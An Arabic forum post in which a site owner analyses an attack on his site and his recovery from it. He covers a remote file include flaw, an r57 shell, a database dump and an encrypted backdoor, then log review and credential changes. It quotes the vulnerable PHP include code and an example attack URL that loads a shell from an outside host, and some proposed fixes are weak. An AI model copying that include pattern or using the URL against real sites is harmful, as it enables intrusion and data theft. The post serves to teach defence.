المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : شرح طريقة تحليل عملية الاختراق الاخيره لموقعنا من الناحية البرمجية



Chakira
11-01-2013, بتوقيت غرينيتش 04:31 PM
http://www.dzbatna.com/images/icons/iconrote.gif ط´ط±ط* طھط*ظ„ظٹظ„ ط¹ظ…ظ„ظٹط© ط§ظ„ط§ط®طھط±ط§ظ‚ ط§ظ„ط§ط®ظٹط±ظ‡ ظ„ظ…ظˆظ‚ط¹ظ†ط§ ظ…ظ† ط§ظ„ظ†ط§ط*ظٹط© ط§ظ„ط¨ط±ظ…ط¬ظٹط© (http://www.dzbatna.com/t2145085/)






http://www.advphp.com/imgup/images/92835293959431578069.jpg




السلام عليكم ورحمة الله وبركاته

اولا:أعتذر عن اغلاق الموقع طيلة الأيام السابقة ,نظرا كما أخبرتكم بان الموقع تعرض لعملية اختراق,وتعد هذه هى المره الثالثه التى يتعرض فيها الموقع للاختراق,ولكن هذه المره المخترق شخص مختلف عن الباقى الذى يهوون القيام بمثل هذه العمليات ,ليس هذا فقط,هذا الانسان يتميز بصدق النية فقط راسلنى هذا الشخص وأخبرنى بكل تفاصيل ما حدث,وعلى الرغم من انه حدث مشاداه بينى وبينه فى بادىء الأمر, لان ما حدث ليس بالامر الهين ,الا انه فى النهاية تم حل الموضوع وتقبل كل منا سوء الخلاف,وانتهى هذا الموضوع ولله الحمد,لكن بالرغم من ان ماحدث كان له أثر سلبى على موقعنا,لكن أقولها بصراحة أن عملية الاختراق الاخيره أعجبنى أسلوبها ,وكيف تمت ,فعملية الاختراق كان مجهز لها جيدا,ومخطط لما سيتم عمله قبل أن يتم تنفيذها,وهذا فى حد ذاته أعجبنى,لان أشخاص كثيرون يخترقوا اى موقع حتى يضعوا اندكس بصفحة سوادء عليها اسم المخترق وتجد العبارة المشهورة HACKED BY او OWNED ,اما ما حدث لموقعنا كان مختلف بعض الشىء,لذلك أحببت أن أسرد لكم قصة عملية الاختراق الاخيره وكيف تمت ,وأنا أغلقت الموقع طيلة هذه الفترة لاننى كنت اجمع معلومات عن كل ما حدث وأقوم بمسح شامل على كافة الملفات ومجلدات الموقع ,حتى أسرد لكم هذه القصه الشيقه بطريقه جيده ,وكتابتى للموضوع غرضها الأفاده ,وكما تعلمون اننا هنا فى منبر علم ,نحب أن نوصل اى معلومة قد تفيد الأخرين,حتى لو لم يكن لها علاقة بالبرمجة .


ملاحظه:كل ما سأسرده فى الشرح طريقة تم معرفة بعض المعلومات من المخترق +اجتهاد شخصى منى بتتبع ما حدث عن طريق مراجعة ملفات log والتواريخ ,ومعرفة ما تم تغييره .........

نبدأ الان بوضع الخريطه العامه لما حدث مرتبه كخطوات ,وكما قلت هو مجرد اجتهاد شخصى منى لسلسه الاحداث:

المرحلة الأولى:مرحلة اختراق الموقع :

1-كيف تم التخطيط لاختراق الموقع ؟

2-مرحلة اكتشاف ثغرة remote file include

3-مرحلة انكلود r57shell على السيرفر SERVER

4-مرحلة سحب قواعد البيانات باستخدام MYSQL INTERFACE

5-ما تم انجازه من الهجوم على مواقعنا

6-حقن backdoor لتكرار عملية الاختراق فيما بعد مره اخرى




المرحلة الثانية:مرحلة تحليل عملية الاختراق وما ينبغى عمله كصاحب موقع:

1-مرحلة تتبع تواريخ الدخول لمجلدات وملفات الموقع

2-مرحلة تتبع ملفات error_log وكيفية الاستفاده من الأخطاء البرمجية

3-مرحلة البحث عن backdoor

4-اعادة توزيع تصاريح المجلدات والملفات

5-اعادة تغيير بيانات الاتصال بقاعدة البيانات

6-مخاطبة صاحب السيرفر SERVER او نقل الاستضافة HOTING







نبدأ على بركة الله ..........




المرحلة الأولى : اختراق الموقع :




اولا:كيف تم التخطيط لاختراق الموقع :

دائما عندما يريد اى شخص تنفيذ اى شىء,لابد أن يخطط له جيدا لينجزه بشكل سليم ,وذكرت سابقا أن ما أعجبنى فى عملية الاختراق الاخيره هو التخطيط الجيد من قبل المخترق,فعندما قرر المخترق الوصول لموقعنا,قام بدراسة ما تم تركيب installه على موقعنا من اسكربتات ,ليس هذا فقط,بل قام بتتبع المواقع الموجوده على نفس السيرفر SERVER الذى عليه موقعنا ليبحث عن اى ثغرة برمجية تساعده للوصول لموقعنا,وهذا بالفعل ما تم عمله ,وسأسرد لكم كيف يمكن للثغرات البرمجية أن تهدد مستقبل موقعك .







ثانيا:مرحلة اكتشاف ثغرة remote file include :

للثغرات البرمجية أنواع كثيره ,ولكن من أخطر الثغرات التى تمكن المخترق من التحرك الأكبر على السيرفر SERVER هى ثغرة remotre file include ,لان بكل بساطة هذه الثغرة تمكن المخترق من انكلود لملفات برمجية خبيثه من خارج السيرفر SERVER وعمل انكلود لها على السيرفر SERVER لقراءة اى شىء على السيرفر SERVER ,وسبق قد شرح طريقةت هذه الثغرة من خلال هذا الدرس مفصل

الموجود هــــــنـــــــــا (http://www.advphp.com/codingscripts/phpsecurity/414-php-exploits-vulnerabilities-tutorial-rfi.html) ,وشرح طريقةت كيف يقع المبرمج فى هذه الثغرة .

لكن الكل سيسأل سؤال؟لماذا تم اختراق الموقع بالرغم انى على دراية بهذه الثغرة وكيف اتفادى الوقوع فيها؟

ليس لاننى أعلم هذه الثغرة أننى لست عرضه لها لان توجد على موقعنا او على السيرفر SERVER,فليس كل الملفات الموجوده على الموقع لم أقم ببرمجتها,وأيضا الاسكربتات الاخرى الموجوده على اى موقع اخر موجوده على نفس السيرفر SERVER الموجود عليه موقعنا لم أقم ببرمجتها,لذلك بسبب عدم فحصى لما أقوم بتركيب installه على السيرفر SERVER من اسكربتات لم أقم ببرمجتها ,او عدم فحص صاحب السيرفر SERVER لاى اسكربت موجود عليه ,فهذا فى حد ذاته السبب الرئيسى لوجود ثغرة remote file include على الموقع او السيرفر SERVER.بصراحة على الرغم من ان الثغرة سببها فى الاصل المبرمج,الا ان هناك تقصير منى وخطا منى أننى أهملت جزئية فحص اى ملفات اقوم بتركيب installها على الموقع وهى ليست من برمجتى,ولعل السبب فى ذلك هو انشغالى بالتركيز على محتوى الموقع ,وايضا عدم وجود الوقت الكافى لعمل ذلك,نظرا لاننى أتولى مسئولية الموقع لوحدى




طيب الأن,نريد أن نعرف كيف وصل وجد المخترق ثغرة RFi ؟

عندما يريد اى مخترق البحث عن اى ثغرة فى اى موقع ,فكل ما يقوم بعمله ,هو معرفة أسماء الأسكربتات الموجوده على الموقع ,ثم يقوم بالاستعانه بأحد مواقع السيكيورتى المشهوره مثل securityfocus للبحث عن اى ثغرة تخص الاسكربت المثبت على الموقع المراد اختراق,ولكن إذا كان الاسكربت ليس بشهره واسعه ,او لم يسبق بأن قام احد بفحصه من الثغرات ,فإن المخترق يبحث عن اى رابط تحميل لتحميل الاسكربت على جهازه ,ثم يبدأ فى فحص وقراءة السورس كود code الخاص بجميع ملفاته ,محاولا ايجاد اى ثغرة برمجية ..............

تمام,الان نريد أن نعرف كيف وجد المخترق الثغرة البرمجية ؟

رغم اننى لا أعرف بالظبط الثغرة التى من خلالها تم الوصول لموقعنا,الا اننى سأجتهد وسأشرح طريقة على افتراض ان الثغرة هى الثغرة الموجوده فى اسكربت الاختبارات والتدريب المثبت على موقعنا.

لقد راسلنى المخترق بعد عملية الاختراق,وأخبرنى بمكان الثغرة ,والثغرة بعيدا عن ذكر مكانها,الا اننى أريد شرح طريقة الكود code البرمجى الموجود به هذه الثغرة بما اننا فى منبر تعليم البرمجة ,والكود code الذى به ثغرة remote file include كان :

رمز PHP:

<code style="white-space:nowrap"> <code> if($_GET&#91;'action'&#93;=='getpage' && !empty($_GET&#91;'page'&#93;)){
@include_once($_GET&#91;'page'&#93;.'.php');
}

else{
echo getContents($db,'my_panel');
}
</code> </code>



الكود code واضح فعلا انه غير أمن ,لان الجملة joomla تقول انه لو تم جلب المتغير action بحيث قيمته getpage ,والمتغير page بحيث ان قيمته غير فارغه ,سيتم عمل انكلودinclude_once لاى ملف بأى اسم مضافا له اللاحقه php. ,وهنا يكمن الضعف الامنى,فللاسف المبرمج لم يقم بتأمين عملية الانكلود ,لانه هكذا جعل عملية انكلود اى ملف بأى اسم مفتوحه وليست مقتصره على اى ملف ,لذلك يمكن للمخترق استغلال هذه الجزئية بعمل انكلود لاى ملف خبيث,وبالفعل أنا جربتها شخصيا على جهازى ,وكانت النتيجة كما ترون :

http://www.advphp.com/imgup/images/26539041839407699419.jpg

فكما ترون ,فقد جلبت الملف الذى يستخدمه المخترق وهو الشل من خلال هذا الضعف الأمنى




قبل ترك هذه الجزئيه ,لابد أن أشرح طريقة لكم كيف نقوم بتأمين هذا الأنكلود بشكل أمن ؟

سوف أشرح طريقة هذه الجزئيه بشكل عام للفائده ,حتى تطبقها على اى كود code ليس هذا فقط,

اولا,قبل عملية التأمين ,لابد أن تفهم وظيفة الكود code,وتفهم بالأخص ما هى قيمة المتغير الذى سيأخذها فى شريط المتصفح ,فمثلا قد تكون قيمة المتغير التى سيأخذها فى شريط المتصفح قيمة رقمية ,فيمكن بكل بساطة تأمين المتغير بالتحقق من انه قيمه رقميه باستخدام دالة is_numeric ,واذا كانت قيمة المتغير عبارة عن String ,فالموضوع سيحتاج مجهود أكبر,وهذا ما سنقوم بعمله فى الكود code الخاص بنا,

لان للاسف الانكلود السابق,يعطى قيمة المتغير page قيمة على هيئة String وليس قيمة رقمية ,والstring هنا هو اسم الصفحة المراد عمل انكلود لها,لذا لابد هنا فى عملية التأمين أن نفهم جيدا كيف نمنع عمل اى انكلود خارجى ,ويوجد حلول كثيره يمكن عملها ,سأستعرض بعض الأمثله لتأمين ذلك :

1-التأمين باستخدام دالة str_replace:

يمكن استخدام الدالة فى عملية التأمين فالمخترق عندما يريد عمل انكلود لملف خارجى ,سيضع الرابط بهذا الشكل:

localhost/train/vuln.php?action=getpage&page=http://site.org/r57

لذا ,يمكن باستخدام هذه الدالة التشويش على الرابط ,بحيث يمكننا أخذ اى مقطع منه واستبداله باى شىء,لتعطيل الرابط من العمل ,على سبيل المثال,يمكن عمل الاتى فى تأمين الانكلود:
رمز Code:
$secure=str_replace(&quot;http&quot;,&quot;nothing&quot;,$_GET['page']); @include_once($secure.'.php');

فى الكود code السابق سيتم استبدال اى مسار به http بكلمة nothing فى قيمة المتغير page

ويمكن التأمين اكثر واستبدال www اذا حاول المخترق كتابة الرابط بدون http اوhttps




2-التأمين باستخدام دالة htmlspecialchars :

راسلنى الاخ العزيز L0n3ly-H34rT من فترة,وتفضل مشكورا بوضع الترقيع الخاص بهذه الثغرة وثغرات أخرى,وكان الترقيع معتمد فيه على دالة htmlsepcialchars التى تحول جميع predefined characters مثل (.) او (؟) لمدخلات html مثل &amp; او middot&
رمز Code:
include_once(basename(htmlspecialchars($_GET['page'])).'.php');

ويوجد طرق كثيره للتأمين ,فالتأمين ما هو مجرد فكر مبرمج ليس اكثر او أقل.....







ثالثا:مرحلة انكلود shell على السيرفر SERVER:

بعد ما تعرفنا على الثغرة التى سيستغلها المخترق فى عملية اختراقه ,الان نريد أن نعرف ما قام المخترق بعمله من خلال هذه الثغره ,

ثغرة RFI كما قلت تمكن المخترق من عمل انكلود لملف خارجى على سيرفر SERVER الموقع ,واسم الثغره يوضح ذلكremote file include ,لذلك من أهم ما يقوم به اى مخترق فى هذه النقطه ,هو استدعاء ملف برمجى خبيث يستخدمه المخترق فى عملية اختراقه ,وهذا الملف يسموه shell ,وهو عبارة عن ملف php تم برمجته خصيصا ليساعد المخترق من خلال عرض ملفات الموقع ,والتنقل على مواقع السيرفر SERVER,واستغلال الدوال المفتوحة على السيرفر SERVER فى قراءة وتعديل اى ملفات ......,وأيضا بعض الشل بها خاصية الاتصال بقاعدة البيانات للتخاطب معها...

وهذه صورة ملف الشل,وجدتها على الموقع :

http://www.advphp.com/imgup/images/09559468002927092694.jpg




فى المرحلة الخامسة ,سأشرح طريقة ما تم انجازه وما قام به المخترق من خلال استخدام هذا الشل







رابعا:مرحلة سحب قواعد البيانات باستخدام MYSQL INTERFACe :

بعد ما انتهى المخترق من جلب ملف shell على السيرفر SERVER,اول ما سيفكر به هو مخاطبة قواعد البيانات ,لان قاعدة البيانات هى أهم جزء يهتم به المخترق,فمحتوى الموقع من بيانات الاعضاء والأدمن وووالخ ,كلها موجوده فى db ,ولكن حتى يستطيع المخترق الاتصال بقاعدة البيانات,لابد أن يملك أو يعرف بيانات الاتصال,ولفعل ذلك,يتصفح المخترق جميع ملفات الموقع ,حتى يصل لملف اعدادات الاتصال بقاعدة البيانات ,لكن أحيانا قد يعوق المخترق قراءة هذا الملف بسبب التصريح الموجود على هذا الملف,ويقوم بتخطيه مستغلا أحد الدوال المفتوحه على السيرفر SERVER معتمدا على الشيل الذى استخدمه .

بعد أن توصل لملف اعدادات الاتصال ,ياتى هنا دور ملف mysql interface ,وهو أيضا ملف شبيه بالشل ,يستخدمه المخترقون للتواصل مع قاعدة البيانات,وهذه صوره له :

http://www.advphp.com/imgup/images/18086081571811717111.jpg



http://www.advphp.com/imgup/images/72801494437694910443.jpg



بعد الاتصال بقاعدة البيانات,يستطيع المخترق من خلال هذا الملف أخذ باك اب لاى قاعدة بيانات دخل عليها,بحيث بعد ذلك يركبها على جهازه ,ويتجول فيها ليستخرج اى بيانات قد تهمه .




خامسا:ما تم انجازه من الهجوم على مواقعنا:

حتى لا أطيل فى هذه النقطه ,فبإختصار أستطاع المخترق من عمل الاتى :

1-سحب باك أب لجميع قواعد البيانات المثبته على موقعنا

2-التنقل لأحد المواقع التابعه لنا وهو موقع الاسكربت Aradown وسحب جميع ملفاته وقواعد البيانات الخاصه به

3-سحب الملفات المهمه والتصاميم

4-زرع backdoor ليستخدمه فيما بعد فى حال أراد اختراق الموقع مره أخرى .




سادسا:حقن backdoor لتكرار عملية الاختراق فيما بعد مره اخرى:

الbackdoor او الباب الخلفى باختصار هو عبارة عن كود code خبيث يقوم المخترق بزرعه فى اى ملف داخل ملفات الموقع ,وهذا الكود code وظيفته هو أن يساعده فى اختراق الموقع مره أخرى فيما بعد اذا قام صاحب الموقع بتأمين موقعه بعد عملية الاختراق الأولى ,متجاهلا هذا الكود code الخبيث

وهذا الكود code الخبيث له صور وأشكال متعدده ,سأسرد بعضها:

1-زرع كود code خبيث على هيئة ثغرة RemoteFileInclude يقوم هو بصنعها ليستغلها فى اختراق الموقع

2-زرع كود code خبيث على هيئة ثغرة local file include يقوم هو بصنعها ليستغلها فى اختراق الموقع

3-زرع كود code خبيث على هيئة فورم رفع ملفات يقوم هو بصنعه ليتمكن من رفع اى ملف على الموقع

وفى موضوعنا,استخدم المخترق الحالة الثالثه ,حيث قام بزرع كود code رفع ملفات فى أحد ملفات الموقع ,

ليس هذا فقط ,بل قام بتشفير هذا الكود code ,لصعوبة الوصول اليه والبحث عنه,وهذا صورة لهذا الكود code:

http://www.advphp.com/imgup/images/70890811128265605569.jpg




المرحلة الثانية:مرحلة تحليل عملية الاختراق وما ينبغى عمله كصاحب موقع:

بعد ما تعرفنا على المرحلة الأولى وتعرفنا فيها على كافة تفاصيل عملية الاختراق,حان الأن الانتقال لمرحلة تحليل عملية الاخترق وما دورك كصاحب موقع لعمل اللازم حيال ذلك.......




اولا:مرحلة تتبع تواريخ الدخول لمجلدات وملفات الموقع:

اول ما تفكر به عندما يتعرض موقعك للاختراق,هو تتبع تواريخ الدخول لمجلدات الموقع,لان هذه النقطه ستمكنك من معرفة ما قام به المخترق من تعديلات على ملفات موقعك,وبالنسبة لى ,أستخدام برنامج Ftp لمعرفة ذلك ,

وهذه صورة توضح تواريخ اخر تعديل على مجلدات الموقع :

http://www.advphp.com/imgup/images/90761098330985145725.jpg

من هذه التواريخ ,يمكنك معرفة اخر تعديل تم على الملف,فمثلا تمت عملية الاختراق بتاريخ 10-8-2014 ,فما عليك هو البحث عن اى مجلد او ملف تم تعديله بهذا التاريخ ,او بيوم او يومين قبله ,لتعرف ان هناك تعديلا ما حدث على هذا الملف.




ثانيا:مرحلة تتبع ملفات error_log وكيفية الاستفاده من الأخطاء البرمجية:

ملف error_log ,من الأشياء المهمه ,خصوصا للمبرمج,فهذا الملف يسجل الأخطاء البرمجيه التى حدثت على موقعك ,من محاولة استخدام أحد الدوال فى عملية الاختراق,ولتعرفوا مدى أهميتها,هذه صورة لاحد الأخطاء البرمجية التى وجدتها فى ملف log ,وفيها حاول المخترق مستخدما الشل استخدام دالة open_basedir حتى يتمكن من الوصول لملف بيانات الدخول للسى بانل الخاصة بالموقع الموجوده داخل ملف etc/passwd ,لكن الدالة معطلة على السيرفر SERVER

http://www.advphp.com/imgup/images/33694692392486038962.jpg




ثالثا:مرحلة البحث عن backdoor :

كما ذكرت سابقا,فقد قام المخترق بزرع باك دور فى احد ملفات الموقع ,حتى يستغله فيما بعد ,وما جعلنى انتبه لهذا الباك دور هو وجوده فى الرئيسية على هيئة فورم رفع ملفات ,كما لاحظت تغير فى تاريخ تعديل الملف الخاص باظهار رئيسية الموقع,لكن حقيقة كشف هذا الباك دور أخذ منى وقت ,لاننى توصلت لذلك بعد ساعات من العمل على الموقع,فقد بدأت أولا على اساس ان هذا الفورم يمكن البحث عنه باستخدام احد البرامج المختصه بالبحث فى السورس كود code بحيث لو كتبت اى جزء من كود code الفورم وليكن <form> سوف أصل اليه سريعا,لكن للاسف لم يظهر لى اى نتيجه ,فتأكدت أن المخترق قام بتشفير كود codeه لتضليل وزيادة صعوبة ايجاده,فقمت باخذ باك اب لكافة ملفات الموقع ,وفحصتها جميعا,وبعد ساعات ,توصلت لهذا الكود code الخبيث المشفر الذى كان مزروع فى أحد components المتعلقه بالمجله ,وهذه صوره للكود code مشفرا:

http://www.advphp.com/imgup/images/04118335929626979716.jpg

قمت بحذف هذا الكود code لتعود الأمور لطبيعتها........







رابعا:اعادة توزيع تصاريح المجلدات والملفات:

بعد مراجعة كافة الملفات التى تم تعديلها من قبل المخترق,وكافة المجلدات التى تم الدخول اليها ومراجعتها,قمت اولا بحذف ملف الشل وملف الاتصال بقاعدة البيانات ,وملفات كانت مخبأه داخل مجلدات الموقع ,ثم قمت بتغيير التصاريح لتأمينها أكثر.




خامسا: اعادة تغيير بيانات الاتصال بقاعدة البيانات:

أكيد بعد ما حدث,فالمخترق يمتلك بيانات قاعدة البيانات,لذلك من المهم تغيير اليوزر والباسورد الخاص بها,وقمت بالذهاب من خلال cpanel,بتغيير بيانات الاتصال بقاعدة البيانات







سادسا:مخاطبة صاحب السيرفر SERVER او نقل الاستضافة HOTING:

بعد ذلك من المفروض مخاطبة الشركة المستضيفه بذلك ,او أخذ القرار بنقل الاستضافة HOTING ,ولكن بالنسبة لى ,للاسف لا أستطيع النقل حاليا,لانى أغطى تكاليف الموقع بجانب موقعين اخرين تابعين لنا .




أرجو أن يكون الموضوع فيه الأفاده لكم ,وكما ذكرت,الغرض من الموضوع هو نشر العلم ,على العلم أن ما حدث بينى وبين المخترق تم حله والله الحمد,وكان انسان متفاهم ,فنحن جميعا أخوة فى الاسلام .......




وأخير ,كل عام وأنتم بخير بمناسبة عيد الفطر المبارك ,أعاده الله علينا باليمن والبركات...









ألعاب الأندرويد مجانا و حصريا (http://www.apotox.info/forum)




https://fbcdn-sphotos-d-a.akamaihd.net/hphotos-ak-ash4/482113_236967293114455_1193518507_n.png (http://www.dzbatna.com)
©المشاركات المنشورة تعبر عن وجهة نظر صاحبها فقط، ولا تُعبّر بأي شكل من الأشكال عن وجهة نظر إدارة المنتدى (http://www.dzbatna.com)©

استعمل مربع البحث في الاسفل لمزيد من المواضيع


سريع للبحث عن مواضيع في المنتدى